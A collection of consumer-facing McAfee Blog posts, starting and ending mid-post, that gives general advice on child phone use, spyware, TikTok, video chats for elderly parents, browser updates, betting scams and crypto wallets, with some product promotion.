But don’t forget – you’re the parent. Regardless of how much pressure your super keen tween is applying – this is your decision. You are the best judge of your child’s maturity and readiness. Giving your child a phone is in effect, giving them access to the adult world. So, only say yes if you are convinced the time is right 

Good luck! 

Alex x 

The post My Child Wants a Phone. Should I Say ‘Yes’? appeared first on McAfee Blog.

Smart Tips for Staying Safer Online

By McAfee

The recent WannaCry ransomware attack that infected more than 250,000 computers worldwide was a good reminder to everyone about staying vigilant when it comes to internet safety.

After all, many of us stay connected most of the time, whether it’s on our laptops or mobile devices, giving cybercriminals a wide range of opportunities to go after our personal and financial information, as well as our privacy.

The good news is that safeguarding your internet security, and preventing an attack like WannaCry, can be as simple as keeping your software up-to-date, and taking other preventative measures. The key is knowing which threats to look out for, and when you are taking potential risks.

Let’s start by talking about our mobile devices. Although many of us have been taught to look out for viruses and other threats on our computers, we don’t always realize that our mobile devices are just as vulnerable as our desktops.

The truth is dangerous links and downloads can be easily accessed using mobile browsers and email. And, our devices can open us up to new threats like malicious apps or text messages, designed to steal your information.

And if you think you’re protected from many online threats because you are an Apple user, think again. McAfee Labs found in its latest Quarterly Threat Report that malware exploiting the Mac operating system has grown exponentially.

Another instance where we often don’t realize we’re at risk is when we use technology while travelling or away from home. Connecting to public Wi-Fi networks can be dangerous because many of these networks do not take the necessary steps to protect your data from being accessed by cybercrooks. It’s just as risky to use public or shared computers since the bad guys will sometimes infect them with malware or spyware designed to steal your information.

Our heavy use of social media is another area where we face new threats. Although these sites are made for sharing, we tend to share too much of our private information, opening us up to identity theft, or even harassment. That’s why we need to safely guard information such as our home address, employer, phone number, and email. It’s also wise to change your social media privacy settings to “friends only.” When we open our networks up to people who we don’t know in real life, we also open the door to potential scammers.

These scammers love to distribute phishing attacks on social media and via email and text. Their goal is to trick you into revealing personal or financial information. Take, for instance, the recent “Google Docs” attack, in which scammers sent out fake emails that appeared to come from a trusted source, asking recipients to click on a link to open a Google document, with the hopes of gaining access to their email login and contact information.

Account login information is highly valuable to scammers, since it can potentially allow them to login into or guess your banking passwords, and other crucial financial or identity information. This is a good reason to opt for the highest security settings on all your accounts, such as multi-factor authentication. This security measure asks you to provide an additional piece of information other than your password to verify your identity, such as entering a unique code that is sent to your mobile phone.

There are a lot of threats that we all need to be aware of, but by taking basic precautions and staying vigilant about what you share online you will be much better protected from cybercrime.

Tips to keep you safe:

  • Keep on top of the latest threats so you know what to look out for.
  • Make sure you use comprehensive security software that protects both your computers and mobile devices, and keep the software up-to-date.
  • Turn on automatic updates on all your devices so your operating systems always have the latest security fixes.
  • Create unique, complex passwords using a combination of upper and lower case letters, numbers and symbols for all your critical accounts.
  • Turn on multi-factor authentication when available.
  • Never click on attachments or links sent by someone you don’t know. These often lead to malware or phishing scams.
  • Be careful when downloading mobile apps. Only download apps from an official app store, and read other users’ reviews first to make sure the app is safe.
  • Backup all your data on a regular basis, in case you need to wipe your device clean, or as a safeguard in response to ransomware. This way you can restore all of your information.
  • Be careful when posting on social networks. Never share key identity information, and select the highest security settings.
  • When away from home, avoid using public Wi-Fi and stick to websites that start with “HTTPS” instead of just “HTTP”, since they use extra security to protect your information. If you must use an unsecured network, protect your data by installing a personal VPN, which links you to a secure network over the internet.

Looking for more mobile security tips and trends? Be sure to follow @McAfee Home on Twitter, and like us on Facebook.

The post Smart Tips for Staying Safer Online appeared first on McAfee Blog.

What is Spyware?

By McAfee

No one likes the feeling that someone is looking over their shoulder when they work, shop or surf online. But this is just what crooks and scammers do without our knowledge using “spyware.”

Spyware is a piece of software that can covertly gather information on you. It can track the websites you visit and even record what you type on your keyboard, including passwords and credit card numbers.

So, now the bad guys don’t have to steal your wallet to get access to your personal and financial information. All they need to do is trick you into installing spyware on your computer or device. Or they could install it themselves on public or shared computers using a USB drive, or similar device.

One of the more common forms of spyware found on shared computers is called a “keylogger.” It can record everything you type and send it back to the cybercrook. That’s why you should avoid using shared computers in hotels or public libraries, since they can be easily compromised.
Most spyware masquerades as legitimate software, such as free games or mobile apps. In fact, researchers believe that over three years, 1 million Google Play users downloaded a single piece of spyware alone. It appeared to be an official “System Update” application, but actually monitored the users’ location information and text messages without their knowledge.

Spyware can also easily spread online in the form of dangerous links in emails, and on social media or torrent sites, which offer free access to online content. That’s why you need to be careful where you click.

Another common form of spyware is called “adware.” Adware is used to display advertisements on your computer, or redirect your search inquiries to an advertiser’s website. Although this isn’t as harmful as spyware designed to steal your information, it is still invasive and annoying.

Since spyware is so prevalent and potentially harmful, putting both your private information and privacy at risk, it’s important that you take steps to protect yourself.

Here are some tips to keep you safe:

  • Only visit trusted websites and be suspicious of sites offering “free” content or applications.
  • Be careful when downloading any software or mobile apps from the web. Read other users’ reviews first to make sure the product is safe. Also, read any licensing or service agreements carefully to see if the provider is accessing more information than it needs to.
  • Never leave your computer or devices unattended in public, since a cybercrook could potentially install spyware when you’re not looking.
  • Avoid clicking on online ads, since they could lead to adware.
  • Look out for anti-spyware scams. There are many phony “anti-spyware” tools online that offer free scans. They falsely detect multiple spyware programs on your computer to get you to buy their product.
  • Make sure you use comprehensive security software that includes spyware protection, and keep it up-to-date.

The post What is Spyware? appeared first on McAfee Blog.

Why I’m Proud to Protect

By McAfee

At McAfee, we’re proud to protect. It’s part of our DNA.

We’re all dedicated to keeping the world safe from cyber threats. As a team, we’re driven by our mission to protect all that matters. Individually, we’re motivated by our own unique reasons – whether that’s family, friends, or our communities.

As part of our commitment to online safety, we asked our McAfee team to share what motivates them every day to make life online safe and enjoyable. Here are just a few incredible reasons shared by some of our team:

“I’m really proud to protect my father in the digital life as he did with me in the real life.”- Francisco

“I’m proud to protect my family. I want to ensure they are safe now that everything is online.” – Cagla

“I’m proud to be part of a community that helps millions of people stay safe online.” – Karan

“I’m proud to protect my kids with the gift of digital safety so that they can freely enjoy their screen time.” – Loretta

“I am proud to protect my McAfee family because I love this company so much! I’m also proud to protect my grandson’s online activity thanks to McAfee!” – Melody

“I’m proud to protect family, friends, and our society as a whole. It is important for me to lead the change for a safer environment and future for the one close to me.”  – Benni

Watch the video below to see McAfee team members worldwide share their commitment to protecting all that matters to them.

Interested in building your career at a company that’s proud to protect? Search our openings!

The post Why I’m Proud to Protect appeared first on McAfee Blog.

A Parent’s Guide to TikTok

By Alex Merton-McCann

Finding someone who hasn’t heard of TikTok in 2022 would be quite the achievement. As one of the most popular social media platforms of the moment, it is not only being used by our tweens, teens and even grownups to connect but also as a crucial way to tell important stories amidst a backdrop of natural disasters and even war.  

As parents, we know we need to keep up with the latest social media platforms but let’s be real – we don’t always have enough time. So, I’m going to do the hard work for you. Here’s my overview of TikTok – what it is, the risks, and most importantly, how you can help your kids (or yourself) stay safe while using it. You’re welcome!! 

What Actually Is Tik Tok? 

Tik Tok is a social media platform that can be downloaded on any smartphone via an app. Once you’ve signed up to the app and become a user, you can create and then share short videos of 15 seconds in length on any topic. 

The app started life as Musical.ly, a super popular video streaming app that also allowed users to make funny 15-second videos, many of which focussed on lip-syncing. By mid-2017, the app had over 200 million registered users.  In 2018, the app was taken over by Chinese company ByteDance and all of its users (and their content) were moved to TikTok. 

How Popular is Tik Tok? 

According to Hootsuite, TikTok is the 6th most used social media platform in the world. As of late September 2021, TikTok had over a billion monthly users and as of August last year, it overtook Facebook to become the world’s most downloaded app. Facebook does, however, have more monthly users, reporting a massive 2.74 billion users as of August 2021 

Who Is Using It? 

It appears TikTok is used by females (57%) more than males (43%) however its user base is very diverse and cuts across all age categories – yes, even us parents! But brands hoping to reach younger female audiences are without a doubt using TikTok to showcase their wares. What is interesting is that although we all think that TikTok dominates the Gen Z market, research shows that it doesn’t rank as the top choice for younger users – in fact only 4.3% of users name it as their favorite platform. Users between 16 and 24 nominate Instagram as their top choice! 

How Old Do You Need To Be To Use TikTok? 

Unlike other social media platforms, there is no minimum age requirement when using TikTok. The company says that it adjusts a user’s privacy settings based on the birthday entered when setting up the account. If a user is under the age of 13, they will automatically be directed into the TikTok for Younger Users program which has additional privacy and safety protections. Of course, anyone can lie about their age, but TikTok has said publicly that it has moderators trained to predict when a user is suspected of being underage. 

What Are The Risks of Tiktok? 

As you would know, there are risks associated with using all social media platforms and TikTok is no exception. However, in my opinion the majority of these can be managed with a combination of critical thinking, parental controls, and preparation – more about these later.  

But let’s go worst-case scenario for one moment. Here are the potential risks that your child could encounter: 

  • Contact from online predators 
  • Inappropriate content: sexualized, violent, racist  
  • Potentially damaging conversations around mental health 
  • Anxiety from potentially poor reaction to their videos 

How To Manage The Risks On Tiktok? 

Unfortunately, it isn’t possible to keep our tweens and teens in a bubble – I know, so disappointing! So, the best and only option is to prepare them for challenges online and arm them with tools to navigate the tricky stuff. Here’s my advice on how to best help them manage TikTok:  

1. Download The App & Start a Conversation 

Knowledge is power, my friends. So, download the app and have a play so you better understand it. Then, why not ask your experienced in-house ‘TikTokers’ to show you how it works. Use this as an opportunity to ask them what they do when they see something that concerns them, or how they would manage approaches from people they don’t know. Why not weave in reminders about the importance of online privacy and the permanence of their digital footprint? Commit to making these conversations regular.  

2. Foster A Critical Thinking Mindset 

Helping your kids become critical thinkers is, without doubt, one of the best ways of helping them prepare for life’s challenges – both online and offline. Being able to rigorously question ideas and assumptions rather than accepting them at face value is your kids’ golden ticket! So, if they are approached by friendly (but ill-intentioned) strangers online or sent a link to a super compelling offer online, they will have the ‘smarts’ to realise that all is not as it seems and to hit delete! 

3. Use TikTok’s Parental Controls Or Help Them Set Up Privacy & Safety Settings  

If the horse has already bolted and your tween or teen has been using TikTok for a while, then introducing boundaries might be tricky but don’t give up! TikTok has a Family Pairing feature which allows parents to link their TikTok account to their teen’s account so they can control the settings remotely. This might be a good option if your child is younger or just starting out on TikTok. This gives parents the power to turn on Restricted Mode, screen time limits, and also turn off the direct message option.  

Leverage Tiktok’s Privacy Controls 

If your child has been using TikTok for some time and you want to pull things back, then why not work with them to set up their privacy and safety features. I find kids always respond best when you explain why you are doing something so assure them you are just wanting to keep them safe. TikTok has a long list of features you can enable that will make your offspring’s experience that much safer. From turning off downloads, filtering comments to introducing screen time limits, there is a great range of ways of making the TikTok experience much less risky. Check out the full list from TikTok here. 

So, next time you hear your kids reference TikTok, don’t immediately feel a pang of guilt that you don’t really know what they are talking about. You’ve got this! Download the app, take a look around, read this post a few more times, and you’ll be fine! And remember, our kids don’t expect us to be experts straight away, or even at all. They just need to know that we’re interested in all parts of their life and respect just how important their digital life is to them. 

You’ve got this!! 

Take care all 

Alex xx 

The post A Parent’s Guide to TikTok appeared first on McAfee Blog.

Helping Mom & Dad: Family Video Chats

By McAfee

Editor’s Note: This is the third in a series of articles about how we can help our elder parents get the most out of digital life—the ways we can help them look after their finances and health online, along with how they can use the internet to keep connected with friends and family, all safely and simply. 

Now here’s a great topic. Spending more quality time with our folks, even if they’re far away. That’s the beauty of a family video chat. It’s a way to connect with more than voice. It’s a way to share moments together. 

If your parents and the older loved ones in your family haven’t come around to the idea of video chats just yet, now’s a good time to give it a try. Video chats are far easier to enjoy than ever, and with a little initiative from you, the family can gather around a video chat rather quickly. In fact, there’s plenty you can do to get them started.  

Video chats may be old hat to you, but it’s likely quite new to them 

Clearly, a video chat is different than a phone call. Beyond the technological differences, it’s quite a different way of interacting. After all, there you are, face-to-face, talking over a device. And that may feel a little awkward, especially for our parents. They’ve lived lives where long-distance conversations meant using a phone that was anchored to the kitchen wall. 

So aside from the technical considerations of video chats, there’s a degree of freedom that may leave our parents wondering what to do and how to act in this new medium. Just like when we first used video chat ourselves, questions come up … Where should I be looking on the screen How should I hold the phone Can everyone on this call see up my nose? 

You can ease them in by taking the lead, welcoming them into the notion that your video chat can be much more than a phone call. More than simply talking, it’s a chance to create a shared space together.  

A great example is this: a co-worker recently told me about his in-laws who were scouting out retirement communities to live in. Even though his in-laws lived 2,000 miles away, they all got to do a little house-hunting together. Using a smartphone, they took room-to-room tours of model homes together, got views of the tree-lined streets, checked out the pools and rec centers, and so on. A few weeks later, they shared another video call where his in-laws walked the family through their new place after they’d settled in. And all of it started with a simple request, “Hey, turn on FaceTime so we can take a look too!” 

So, in a way, video chats truly are an opportunity to create moments together. It could be as simple as asking grandma to read a book to the kids, have mom and dad share what they’re having for a birthday dinner, or ask them to show how hard it’s snowing outside their home. Anything you can do to encourage a little free interaction of some sort may make a video chat feel far more comfortable. You can really relax and interact once you settle in and let the possibilities unfold. 

Set a time for your call 

In a way, a video call is much like dropping by the house for a visit. Placing a video call unannounced may catch mom in her curlers, so to speak. Or, as we’ve heard our parents say when they looked at a messy living room, we may catch them when “the house isn’t ready for guests.” In either case, scheduling a time for a video call gives everyone time to prepare. Whether it’s sprucing up your appearance or simply getting into the headspace for a face-to-face interaction, a designated time helps everyone get ready. 

On your end, it’s an opportunity for you to prepare as well. Do the kids have some recent schoolwork or a project they’re proud of? Have them bring it for some show-and-tell. Doing some cooking lately and you just can’t seem to get the family secret BBQ sauce just right? Bring your folks into the kitchen for some cooking advice. Find an old treasure in storage? Break it out and flip through your old grade-school art scrapbook with them on the call. As you prepare, think about sharing and moments, some of the things you’d like to do together over a video call. That’ll make it all the more special. 

Picking a platform for your video call—smartphones and tablets are a straightforward way to go 

As you know, there are plenty ways to hold a video call. There’s a good chance you’ve used several platforms and apps yourself already, whether with friends, work, or a mix of both. So when it comes to picking what’s best for your video call, the question to ask here is what’s your parent’s comfort level with technology. 

If your parents are pretty comfortable with technology, you can share one of my earlier articles on video calls with them, which walks through the ins and outs of different apps and options. If they’re a little less savvy with technology, ideally they have a smartphone or tablet that they can use. Chances are, that device will have video calling built right in, such as Apple’s FaceTime or Google Duo on Android devices—both of which make video calls an easier “point and shoot” experience.  

Even if you’re using different devices, you can still use apps like FaceTime between Androids and iPhones. It’s rather straightforward, as all it takes is for one party or other to click a link. Additionally, Google Duo is available as an app in Apple’s App Store, which makes it easy for everyone to get on one platform as needed. 

Video calls on laptops and computers 

If a smartphone or tablet isn’t in the picture, there are certainly options for laptops and computers, several you may also know well already. Of the free and relatively straightforward apps out there, you can choose from: 

Zoom

With a free account that can run through a browser window, you and your parents can enjoy a call without having to manually download an app. 

Skype

This comes standard on Windows PCs and supports apps for all kinds of tablets and smartphones too. If you want to create a video chat without an account, you can simply visit this page and start an instant video chat with a click 

Google Meet

Free to anyone with a free Google Gmail account, you can use Google Meet just by clicking its icon from your Google apps menu or by visiting https://meet.google.com/. Like Zoom and Skype, it can run in the window of a browser, so there’s no app to manually download. 

Of course, your folks will need a camera and microphone for their computer. If they don’t have one, there are plenty of moderately priced web cameras that include a microphone. I suggest getting one with a physical lens cap. That way they can protect privacy. Of course, they can always simply disconnect it when they’re not using it. 

Setting up a laptop or computer for video calls may take a little bit of work. You can help your parents by walking them through the process with these articles: 

Keeping safe on your calls 

Once you’re all set up, here are a few things that you and your parents can do to help keep your calls private and secure.   

1) Set a password 

If your video chap app generates a link that others can click to join in, be sure to create a password that uninvited parties can’t join in as well. Also, don’t be shy about asking your family members to use a password on the calls they initiate. It’s pretty much standard practice nowadays. 

2) Double-check any video chat invitation links 

Likewise, with any chat link that’s sent to you, be sure that link is legitimate. Confirm the link with the family member who sent it, particularly if you weren’t expecting one. (This is another good reason to schedule calls. Family members will be on the lookout for that link.) 

3) Use security software 

Make sure that you’re using comprehensive online protection software that helps steer you clear of scam emails and links, along with browser protection that blocks links that could send you to sketchy websites. That way, if you do get sent a bogus invite link from a scammer, you’ll be protected. 

4) Keep your apps and operating system up to date 

Aside from giving you the latest features and functionality, updates also often include essential security improvements. Set your computer to update itself automatically and consider using security software that will scan for vulnerabilities and install updates automatically as needed. 

Chat it up! 

An interesting closing note is that getting comfortable with video chat may open a world of other possibilities as well. Perhaps once they get online and see how video chats work, they’ll reach out to other friends and them get in on it too, creating more opportunities to reach out and spend time with others. In other words, you may really start something here by getting mom and dad on video chat. 

Additionally, early research has shown that older adults who use regularly technologies like video chat have seen positive impacts in their long-term memory compared to those who just interacted over the phone or in person. Similarly, research has shown that the use of technology, in general, can enhance mental health for older adults as well.  

With that, I hope you’ll give it a try with your parents and older loved ones. Meet the inevitable technical bumps in the road with a smile because this journey will be absolutely worth it. For all of you. 

The post Helping Mom & Dad: Family Video Chats appeared first on McAfee Blog.

How To Secure Your Online Life? Find Your Protection Score!

By Alex Merton-McCann

I am renowned for getting myself into big messes – particularly in the kitchen when I’m cooking up a storm. And I’m totally fine being alone: chopping, stirring and baking until it’s time to clean up! And that’s when the overwhelm hits – I know I should clean as I cook but I never do! So, what do I do? Rally the troops! Yes siree! There’s nothing like another set of eyes or hands to help one wade through the overwhelm – I’m sure that’s why I had 4 kids!! 

Online Life Can Be Messy Too! 

Many people tell me that they feel a similar way about their online life. They know they need to be doing more to keep themselves safe, but they are completely overwhelmed at where to start. With so much of our lives lived online, it’s not uncommon for one person to have over a hundred online accounts across multiple devices which makes it very hard to keep track of logins, data breaches, or security software.  

And research conducted by McAfee shows that consumers know they need to take steps to protect themselves with 74% of users concerned about keeping information private online and 57% keen to be in more control of their personal information. Not surprisingly, since the pandemic started 47% of online consumers feel unsafe compared to just 29% beforehand. 

Where to Start? Your Protection Score! 

So, to try and make this very overwhelming task that bit easier, McAfee has developed a new tool that allows you to find your own Protection Score. Think of your Protection Score like your credit score or sleep score except this one is a measure of your security online. The higher the score, the safer you are online. And the best part about the score is that helps users identify exactly where they need to pinpoint their focus to ensure they are as safe as possible online. Think of it as a set of experienced hands to help you wade through the overwhelm. 

How Does It Work? 

In less than a minute, the McAfee Protection Score will provide you with a pretty clear understanding of how safe you are online. Participants are given a mark between 0 and 1000 that is based on several factors: whether you have online protection and whether your details have been leaked in a security breach. Now, don’t be alarmed if your score is low because here’s the best bit – you will receive a list of exactly what you need to do to improve it and protect yourself from online threats! Phew – my competitive type A personality wouldn’t have coped if I was unable to fix it!  

Let me give you an example, when I signed up, I was alerted to the fact that my email address had been involved in a breach, yes – I’m very human! So, it helped me remedy this by taking me to the appropriate page where I could update my password, and then, bingo, my score (and online safety) improved!!  

And just to ensure you remain committed, every time you venture back to the Protection Score page, your results and action plan will be there waiting for you to ensure you stay on track and most importantly, to cut through that overwhelm! 

Now, in case you were wondering, McAfee’s Protection Score is a first for the cybersecurity industry but good news – they’ve promised it will continue evolving. They will continue to add more features and opportunities to personalize so you can ensure you are living life to the full online!! 

So, if you’re feeling overwhelmed at exactly what you need to do to get your online safety under control then McAfee’s Protection Score is exactly what you need. In less than a minute you’ll be able to get a clear understanding of where your online security sits and a personalized action plan so you can start addressing it right away! How good is that? 

Till Next Time, 

Alex 

The post How To Secure Your Online Life? Find Your Protection Score! appeared first on McAfee Blog.

The Big Reason Why You Should Update Your Browser (and How to Do It)

By McAfee

The humble internet browser. Dutifully taking you the places you want to go online, whether that’s the bank, the store, the movies, or even to work. All the more reason to make sure your browser gets every last bit of protection it can.

It’s easy to fire up your browser without a second thought. Arguably, it’s one of the first things many of us do when we hop on our computers. And because it’s often our literal window into important tasks like managing our finances, making payments, and so forth, hackers will absolutely target browsers in order to conduct their attacks. Whether it’s through vulnerabilities in the code that runs the browser, injecting malicious code into a browser session or any one of several other attack vectors, hackers will try to find a way to compromise computers via the browser.

What’s one of the best ways to keep your browser safe? In a word, update. By updating your browser, you’ll get the latest in features and functionality in addition to security fixes that can keep you safer out there.

Let’s take a closer look at what a safer browser is all about, how to update yours, and check out some additional things you can do to stay safer still.

Browser hacks go way back—and are here to stay

Just as long as there have been browsers, there have been security vulnerabilities and issues. Among the first documented cases, one of the most noteworthy goes back to 1995 when researchers at the University of California, Berkeley uncovered a security issue with the way the Netscape browser handled online payments. Today, news of potential browser exploits and follow-on security measures to remedy them still make the headlines all across several types of popular browsers.

The reality of the issue is that browsers, humble as they may seem to us, are complex applications made up of myriad smaller applications to handle all manner of tasks that create your overall web browsing experience. And where there’s code, there’s room for error. Errors that hackers will look to exploit until an update comes along and fixes them.

Browser plug-ins and extensions add extra features—and potential risks

Adding further functionality to your browser, and potentially further opportunities for hackers, are browser plug-ins and extensions. These are small apps that give your browser additional capabilities, like opening and editing documents, blocking ads, finding coupons, and even playing tabletop role-playing games in a browser as well. In short, there are thousands of them, often available in the various stores run by different browser developers.

Likewise, browser plug-ins and extensions can be prone to security issues just like the browser they’re installed in. Errors in their code may lead to exploits that hackers can take advantage of. Further, not all plug-ins and extensions are safe and secure to use. It’s not uncommon for malicious ones to turn up on third-party sites that steal user information, introduce malware, or that end up serving ads on a person’s computer, just to name a few of the nasty things they can do. Even official browser stores have had malicious plug-ins and extensions slip onto their shelves.

Lastly, even seemingly legitimate plug-ins and extensions can introduce privacy issues. Given that they’re on your browser and have been granted permissions to work with it, they could be collecting data—data which the developer may use, share, or resell. And it may be tough to know exactly what’s being collected and what’s being done with it. Yet like many smartphone app stores, browser stores are including links to developer privacy statements on the download page for the plug-ins and extensions they offer, giving people more insight into how their data is used. However, sometimes plug-ins and extensions get sold from one company to another where they not only change owners but privacy policies as well. In other words, that plug-in or extension on your computer may get sold to another company without your knowledge and subsequently decide to use your data in an entirely new way.

Given this landscape, there’s a clear case for updating your browser regularly, along with your plug-ins and extensions as well. Moreover, you might want to take a look at what plug-ins and extensions you’re running as well to ensure they’re secure and that they’re something you actually have use for.

Let’s take a look at how you can do all that.

So, do you keep your browser and extensions up to date?

Set up your browser to update automatically. This is relatively straightforward, and browser developers have pages that show you how it’s done. For example, sampling a few of the browsers out there:

As for updating your extensions, the browser developers have put together quick guides to help you what that too. The good news is that when you update your browser, your browser typically updates its associated plug-ins and extensions as well. However, note that your browser’s update cycle may not be in sync with the update cycle for your various plug-ins and extensions, so you may want to go in and update them on their own. These guides can help:

<h2>Take a look at your browser extensions—and see if you want them in the first place

What extensions am I even running? Now that’s a great question. And it’s not too tough to get the answer. In short, your browser’s menu will have an option that will give you an overview of what you have installed and which ones are enabled for use. Once more, each browser developer has their own way of going about this:

This is a good opportunity to give your extensions a hard look. Are they something you use? Are they something you want? Who developed that extension? What might they be doing with my data? Answering these questions may take a little work on your part—like searching for news, information, or reviews about the various extensions you have installed. If you don’t like what your research turns up, you can simply uninstall the extension in question.

A good general rule is this—the fewer apps and extensions you have, the fewer you have to update. Likewise, that’s ultimately fewer lines of code that may turn up a possible exploit. If it’s something you’re not using, consider getting rid of it.

<h2>Make your browser safer with web protection

Many browser-based attacks find their way to you through sketchy websites and downloads. Even ads that look legit but are not. As said before, hackers will try and find a way. One tool you can use to beat them at their game is browser protection, which helps prevent you from making that one wrong click that leads to malware.

In our case, we offer McAfee WebAdvisor, a lightweight app that helps keep you safe from threats while you browse and search the web. Specifically, it includes three types of protection that can help steer you clear of those sketchy websites and downloads.

It’s a free download, and it’s also included with our comprehensive online protection software. Either way, this provides you with yet another line of defense when it comes to browser-based attacks.

Protect your browser from hacks and attacks. Update.

That’s the big reason to update right there. Updates give you one more way to prevent attacks by fixing known security issues. It’s true for your operating systems, your apps, your games, what have you. All of them rely on sometimes complex code, code which can sprout exploits, ones that hackers will use. Count your browser in that mix as well. Updating your browser, plus its plug-ins and extensions will help keep you safer online.

The post The Big Reason Why You Should Update Your Browser (and How to Do It) appeared first on McAfee Blog.

How to Protect Yourself from March Madness Scams

By McAfee

It’s the month of top seeds, big upsets, and Cinderella runs by the underdogs. With March Madness basketball cranking up, a fair share of online betting will sure to follow—along with online betting scams. 

Since a U.S. Supreme Court ruling in 2018, individual states can determine their own laws for sports betting. Soon after, states leaped at the opportunity to legalize it in some form or other. Today, 30 states and the District of Columbia have “live and legal” sports betting, meaning that people can bet on single-game sports through a retail or online sportsbook or combination of the two in their state. 

If you’re a sports fan, this news has probably been hard to miss. Or at least the outcome of it all has been hard to miss. Commercials and signage in and around games promote several major online betting platforms. Ads have naturally made their way online too, complete with all kinds of promo offers to encourage people to get in on the action. However, that’s also opened the door for scammers who’re looking to take advantage of people looking to make a bet online, according to the Better Business Bureau (BBB). Often through shady or outright phony betting sites. 

Let’s take a look at the online sports betting landscape, some of the scams that are cropping up, and some things you can do to make a safer bet this March or any time.  

Can I bet on sports in my state, and how? 

Among the 30 states that have “live and legal” sports betting, 19 offer online betting, a number that will likely grow given various state legislation that’s either been introduced or will be introduced soon. 

 

Source: www.americangaming.org
Source: www.americangaming.org

If you’re curious about what’s available in your state, this interactive map shows the status of sports betting on a state-by-state level. Further, clicking on an individual state on the map will give you yet more specifics, such as the names of retail sportsbooks and online betting services that are legal in the state. For anyone looking to place a bet, this is a good place to start. This is further helpful for people who’re looking to get into online sports betting for the first time and is the sort of homework that the BBB advises people to do before placing a sports bet online. In their words, you can consider these sportsbooks to be “white-labeled” by your state’s gaming commission.

Source: www.americangaming.org
Source: www.americangaming.org

However, the BBB stresses that people should be aware that the terms and conditions associated with online sports betting will vary from service to service, as will the promotions that they offer. The BBB accordingly advises people to closely read these terms, conditions and offers. For one, “Gambling companies can restrict a user’s activity,” meaning that they can freeze accounts and the funds associated with them based on their terms and conditions. Also, the BBB cautions people about those promo offers that are often heavily advertised, “[L]ike any sales pitch, these can be deceptive. Be sure to read the fine print carefully.” 

Scammers and online betting 

Where do scammers enter the mix? The BBB points to the rise of consumer complaints around bogus betting sites: 

“You place a bet, and, at first, everything seems normal. But as soon as you try to cash out your winnings, you find you can’t withdraw a cent. Scammers will make up various excuses. For example, they may claim technical issues or insist on additional identity verification. In other cases, they may require you to deposit even more money before you can withdraw your winnings. Whatever you do, you’ll never be able to get your money off the site. And any personal information you shared is now in the hands of scam artists.” 

If there’s a good reason you should stick to the “white labeled” sites that are approved by your state’s gaming commission, this is it. Take a pass on any online ads that promote betting sites, particularly if they roll out big and almost too-good-to-be-true offers. These may lead you to shady or bogus sites. Instead, visit the ones that are approved in your state by typing in their address directly into your browser. 

Ready to place your bet? Keep these things in mind. 

In addition to what we mentioned above, there are several other things you can do to make your betting safer. 

1) Check the rep of the service.

In addition to choosing a state-approved option, check out the organization’s BBB listing at BBB.org. Here you can get a snapshot of customer ratings, complaints registered against the organization, and the organization’s response to the complaints, along with its BBB rating, if it has one. Doing a little reading here can be enlightening, giving you a sense of what issues arise and how the organization has historically addressed them. For example, you may see a common complaint and how it’s commonly resolved. You may also see where the organization has simply chosen not to respond, all of which can shape your decision whether to bet with them or not. 

2) Use a secure payment method other than your debit card.

Credit cards are a good way to go. One reason why is the Fair Credit Billing Act, which offers protection against fraudulent charges on credit cards by giving you the right to dispute charges over $50 for goods and services that were never delivered or otherwise billed incorrectly. Your credit card companies may have their own policies that improve upon the Fair Credit Billing Act as well. Debit cards don’t get the same protection under the Act. 

3) Get online protection.

Comprehensive online protection software will defend you against the latest virus, malware, spyware, and ransomware attacks plus further protect your privacy and identity. In addition to this, it can also provide strong password protection by generating and automatically storing complex passwords to keep your credentials safer from hackers and crooks who may try to force their way into your accounts. And, specific to betting sites, online protection can help prevent you from clicking links to known or suspected malicious sites. 

Make the safe(r) bet 

With online betting cropping up in more and more states for more and more people, awareness of how it works and how scammers have set up their presence within it becomes increasingly important. Research is key, such as knowing who the state-approved sportsbooks and services are, what types of betting are allowed, and where. By sticking to these white-label offerings and reading the fine print in terms, conditions, and promo offers, people can make online betting safer and more enjoyable. 

Editor’s Note: 

If gambling is a problem for you or someone you know, you can seek assistance from a qualified service or professional. Several states have their own helplines, and nationally you can reach out to resources like http://www.gamblersanonymous.org/ or https://www.ncpgambling.org/help-treatment/. 

The post How to Protect Yourself from March Madness Scams appeared first on McAfee Blog.

What Is a Crypto Wallet and How to Keep Your Wallet Secure?

By Vishnu Varadaraj

A-list celebrities and social media influencers are now adding their voices to the roar of other cryptocurrency fans asking you to join them in the investments of the future. It’s impossible to deny the grip cryptocurrencies have on the world today, for better or worse. In some industries, they speed the pace of business and for some, it’s a viable way to make ends meet and set up long-term investments. The cryptocurrency realm has also proven to be vulnerable to cybercriminals. For example, the Wormhole hack leaked $320 million, and cybercriminals have targeted crypto platforms with ransomware and mining app scams. 

Whether you’re already in the cryptocurrency game or are thinking about taking the plunge, here’s what you need to know about crypto wallets and tips on how to keep yours safe from cybercriminals. 

What Is a Crypto Wallet?

A cryptocurrency wallet, or crypto wallet, is a software product or a physical device that stores the public and private keys to your cryptocurrency accounts. Keys are strings of numbers and letters that encrypt and decrypt crypto transactions and secure crypto accounts. You can think of public keys as the routing and account numbers that appear at the bottom of paper checks. There’s not much a nefarious character can do with that information, and it’s totally normal to give that information to an acquaintance with whom you’re doing business. Private keys are like your online banking password or debit PIN. Those you must guard very closely because in the wrong hands, your hard-earned bank balance could disappear. A crypto wallet also allows you to transfer funds between crypto types and make transactions.  

What Are Some Types of Crypto Wallets?  

Here are a few basic types of crypto wallets to help you decide which type is right for you. 

Noncustodial vs. custodial

A non-custodial wallet means that you are the sole keeper of the keys to your crypto assets. If you forget your password, there’s no “forgot your password?” prompt to let you back in. While not having this safety net is a little nerve wracking, noncustodial wallets are considered the more secure option. You don’t have to worry about a security breach of a major corporation leaking your private key. If you’re responsible and confident that you’re prepared to look after your assets by yourself, this may be the best option for you. 

A custodial wallet is a little less secure, but you have a third party helping you log in and manage your crypto accounts. Custodial wallets are often web-based, and the biggest tick in their pro column is that they’re generally very easy to use. While reputable custodial wallets take security very seriously, the threat of a breach is always a possibility, especially as crypto accounts are appealing targets to cybercriminals. 

Hardware vs. software

Hardware wallets, also known as cold wallets, are devices you can fit in the palm of your hand. Most models are Bluetooth-enabled devices that look like small remote controls or are flash drives. The device is secured by a PIN that you should never write down or share with anyone else. Also, you should designate a safe and private spot to store your hardware wallet. Similar to a noncustodial wallet, you are solely responsible for keeping track of the device and remembering the PIN. If you lose it, your crypto accounts are locked, and there’s no locksmith to open them for you. As long as you keep track of it, hardware wallets are very secure. Most models are equipped with malware- and virus-proofing security features. 

